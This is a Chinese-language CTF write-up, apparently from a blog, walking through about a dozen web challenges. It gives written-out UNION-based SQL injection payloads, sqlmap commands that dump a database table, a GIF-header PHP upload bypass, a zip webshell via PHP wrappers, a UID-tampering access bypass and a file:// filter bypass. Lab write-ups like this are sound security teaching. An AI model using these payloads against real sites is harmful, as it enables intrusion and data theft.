Flag参数
-
解题步骤
根据题目提示,通过POST的方式传递flag参数,回显参数的值需要大于10位,因此传递大于10位的flag参数如下,获得flag:
image.png
input
-
解题步骤
右键查看源代码,发现js的check函数,阅读源代码,发现输入的flag值要与str字符串的结果一致,才能通过,直接丢进控制台,打印str变量的值获得flag的值:
image.png
企业小白运维人员
-
解题步骤
访问首页,右键查看源代码,根据提示访问网站的备份文件,右键查看源代码,根据代码内容传递user和password两个参数即可获得flag:
image.png
100块钱都不给我
通过查看源代码、请求头和响应头没发现什么,访问robots.txt,发现网站隐藏目录:
访问index.php1发现关键代码:

发现会将ctf的参数值作为函数名执行,因此传递ctf=phpinfo,在首页获得flag:

搜what?
- 解题步骤
查看页面发现可能SQL注入,通过POST传值获得flag:
word=1'or 1=1 order by 3#&&number=5
查询字段数为3
word=1'or 1=1 union select 1,2,3#&&number=5
三个字段的结果都回显
word=1'or 1=1 union select 1,table_name,3 from information_schema.tables where table_schema=database()#&&number=5
查询到admin和news两张表
word=1'or 1=1 union select 1,column_name,3 from information_schema.columns where table_name='admin'#&&number=5
查询admin表的字段名,发现有flag字段
word=1'or 1=1 union select 1,flag,3 from admin#&&number=5
查询到flag字段的值
来上传!
通过上传测试,发现是文件头校验,因此抓包,在木马内容基础上再加gif文件头,结构如下:GIF89a<?php phpinfo(); ?>

包罗万象
发现可以上传zip文件,构造一句话木马的压缩包,然后用php伪协议读取执行命令,用base64命令读取flag.php源代码获取flag:


阿!核弹
-
解题步骤
访问根据题目默认的账号密码登录进入,发现有flag按钮,点击提示没有权限,控制台查看流量包发现存在ownerbug和flag.do,查看第二个包
flag.do请求头
flag.do响应头
当传入uid参数为1000时候,响应是"owner_bugs",修改uid参数为1时候,回显是flag,image.png 根据提示,访问flag目录,获得flag:
image.png
本题考察的是linux的越权控制,在登录Linux时,看起来是登录的账号,其实在计算机中仅仅认识ID,而每个登录的用户都会取得两个
ID这就是GID与UID。UID也称为用户ID(UserID),GID也称为用户组ID(Group ID)。操作系统就是利用它两来判断文件的所有者与用户组的。用户的UID大于500的都是非系统账号,500以下的都为系统保留的账号,比如root账号,至高权限的账号的UID为0。
这密码到底是啥!
- 解题步骤bp抓包,右键发送到sqlmap进行攻击:
sqlmap.py -r C:\Users\DELL\AppData\Local\Temp\\1548293714030.req --dbs
发现有information_schema和manager_haha两个数据库,对第二个数据库爆表名:
sqlmap.py -r C:\Users\DELL\AppData\Local\Temp\\1548293714030.req -D manager_haha --tables
发现有admin表,继续爆破字段名:
sqlmap.py -r C:\Users\DELL\AppData\Local\Temp\\1548293714030.req -D manager_haha -T admin --columns
发现有可疑字段名:f149_k3y,接着爆破字段值:
sqlmap.py -r C:\Users\DELL\AppData\Local\Temp\\1548293714030.req -D manager_haha -T admin -C f149_k3y --dump
结果如下:
flag.png
看你有什么办法
- 解题步骤
根据首页源代码提示访问index.bak页面,查看源代码,发现关键代码:
<?php
function filter($v){
echo $v;
$w = array('<','>','\.\.','^/+.*','file:///','php://','data://','zip://','ftp://','phar://','zlib://','glob://','expect://','http://','https://');
$w = implode('|',$w);
if(preg_match('#' . $w . '#i',$v) !== 0){
die("
not that easy.");
exit();
}
return $v;
}
根据题目提示在网站根目录/flag文件下,构造playload访问如下:根据代码可知过滤了超多的协议,其中
file://协议
都为off状态下也可以使用,直接访问本地文件系统。
格式:file:// [文件的绝对路径和文件名]
例如:file://localhost/文件
这里需要用到远程文件包含,但因为不能用ip地址(因为靶机无无法访问外网ip),所以用localhost代替
原版协议:https://en.wikipedia.org/wiki/File_URI_schemefile协议.png

dota
- 解题步骤
根据提示猜测源代码泄漏,访问www.zip获取源代码,下载解压发现有flag.php文件,打开得到flag:flag.png
X集团超级无敌新闻网站
-
解题步骤
扫描后台,发现敏感目录:
image.png 访问admin/left.jsp会重定向跳转回admin这个登陆界面,查看源代码发现有网页跳转js代码,如下:
跳转.png

通过sqlmap跑,拿到用户名和密码,如下:


网友评论